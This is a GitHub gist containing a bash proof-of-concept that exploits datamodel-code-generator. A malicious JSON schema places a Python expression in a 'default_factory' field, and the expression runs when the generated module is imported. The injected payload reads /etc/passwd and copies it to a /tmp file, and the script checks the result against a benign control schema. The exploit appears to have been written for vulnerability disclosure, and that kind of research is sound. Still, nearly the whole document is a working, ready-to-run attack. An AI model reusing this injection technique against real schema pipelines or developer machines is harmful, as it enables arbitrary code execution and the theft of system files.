-
-
Save thegr1ffyn/9648b0fe4fcf7d569ac8e61dd11eebaf to your computer and use it in GitHub Desktop.
Code injection via attacker-controlled `default_factory` schema field. RCE on `import` of the generated module.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # Self-contained PoC — datamodel-code-generator | |
| # Code injection via attacker-controlled `default_factory` schema field. | |
| # RCE on `import` of the generated module. No special CLI flags required. | |
| # | |
| # Usage: | |
| # ./exploit.sh | |
| # | |
| # What it does: | |
| # 1. Creates a private venv under a tempdir | |
| # 2. pip install datamodel-code-generator | |
| # 3. Writes a CONTROL schema (benign) and an INJECTION schema | |
| # 4. Generates Python from each, imports each, checks the canary | |
| # | |
| # Impact demonstration: reads /etc/passwd (world-readable) and writes the | |
| # contents to /tmp/dmcg_passwd.txt. No network, no destructive ops, no shell | |
| # spawn. The canary file and the temp venv are removed at the end. | |
| set -euo pipefail | |
| WORK="$(mktemp -d -t dmcg_new1_XXXXXX)" | |
| VENV="$WORK/venv" | |
| CANARY="/tmp/dmcg_passwd.txt" | |
| cleanup() { | |
| rm -rf "$WORK" | |
| rm -f "$CANARY" | |
| } | |
| trap cleanup EXIT | |
| echo "[*] Work dir: $WORK" | |
| echo "[*] Creating venv at $VENV" | |
| python3 -m venv "$VENV" | |
| "$VENV/bin/pip" install --quiet --upgrade pip | |
| "$VENV/bin/pip" install --quiet datamodel-code-generator | |
| CODEGEN="$VENV/bin/datamodel-codegen" | |
| PY="$VENV/bin/python" | |
| echo "[*] datamodel-codegen: $($CODEGEN --version)" | |
| echo | |
| # ---------- control schema ---------- | |
| cat > "$WORK/control.json" <<'JSON' | |
| { | |
| "$schema": "http://json-schema.org/draft-07/schema#", | |
| "title": "ControlModel", | |
| "type": "object", | |
| "properties": { | |
| "items": { | |
| "type": "array", | |
| "items": { "type": "string" } | |
| } | |
| } | |
| } | |
| JSON | |
| # ---------- injection schema ---------- | |
| # The "default_factory" key carries a Python expression. The expression is a | |
| # 2-tuple: element [0] reads /etc/passwd and writes it to the canary file, | |
| # element [1] is a `lambda: []` so the model's default_factory remains a | |
| # valid zero-arg callable — the generated class stays usable. Indexing [1] | |
| # selects the lambda for default_factory, but evaluating the tuple already | |
| # executed the read side-effect at `import` time. | |
| cat > "$WORK/inject.json" <<'JSON' | |
| { | |
| "$schema": "http://json-schema.org/draft-07/schema#", | |
| "title": "InjectModel", | |
| "type": "object", | |
| "properties": { | |
| "items": { | |
| "type": "array", | |
| "items": { "type": "string" }, | |
| "default_factory": "(open('/tmp/dmcg_passwd.txt','w').write(open('/etc/passwd').read()), lambda: [])[1]" | |
| } | |
| } | |
| } | |
| JSON | |
| # ---------- 1. control ---------- | |
| echo "==================================================================" | |
| echo "[1] CONTROL — benign schema → pydantic_v2.BaseModel" | |
| echo "==================================================================" | |
| rm -f "$CANARY" | |
| "$CODEGEN" --input "$WORK/control.json" --input-file-type jsonschema \ | |
| --output "$WORK/control_out.py" --output-model-type pydantic_v2.BaseModel \ | |
| >/dev/null 2>&1 | |
| echo "--- generated $WORK/control_out.py ---" | |
| sed 's/^/ /' "$WORK/control_out.py" | |
| echo "--- import ---" | |
| (cd "$WORK" && "$PY" -c "import control_out; print(' imported OK')") | |
| if [[ -f "$CANARY" ]]; then | |
| echo "[!] UNEXPECTED: canary exists after control run" | |
| else | |
| echo "[+] CONTROL clean: no canary file" | |
| fi | |
| echo | |
| # ---------- 2. injection ---------- | |
| echo "==================================================================" | |
| echo "[2] INJECTION — malicious schema → pydantic_v2.BaseModel" | |
| echo "==================================================================" | |
| rm -f "$CANARY" | |
| "$CODEGEN" --input "$WORK/inject.json" --input-file-type jsonschema \ | |
| --output "$WORK/inject_out.py" --output-model-type pydantic_v2.BaseModel \ | |
| 2>&1 | grep -v FutureWarning | grep -v warn_deprecated || true | |
| echo "--- generated $WORK/inject_out.py ---" | |
| sed 's/^/ /' "$WORK/inject_out.py" | |
| echo "--- import ---" | |
| (cd "$WORK" && "$PY" -c "import inject_out; print(' imported OK')") | |
| if [[ -f "$CANARY" ]]; then | |
| echo "[+] CONFIRMED RCE: $CANARY was written during 'import inject_out'" | |
| echo " --- first 3 lines of $CANARY (proves /etc/passwd was read) ---" | |
| head -3 "$CANARY" | sed 's/^/ /' | |
| else | |
| echo "[-] NOT REPRODUCED: canary file missing" | |
| exit 2 | |
| fi | |
| echo | |
| echo "==================================================================" | |
| echo "Summary" | |
| echo "==================================================================" | |
| echo " CONTROL : codegen + import clean, no canary." | |
| echo " INJECTION : codegen + import succeed, canary file written from" | |
| echo " /etc/passwd content during 'import' of the generated" | |
| echo " module — proves arbitrary code execution at import" | |
| echo " time via attacker-controlled schema, no special flags." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment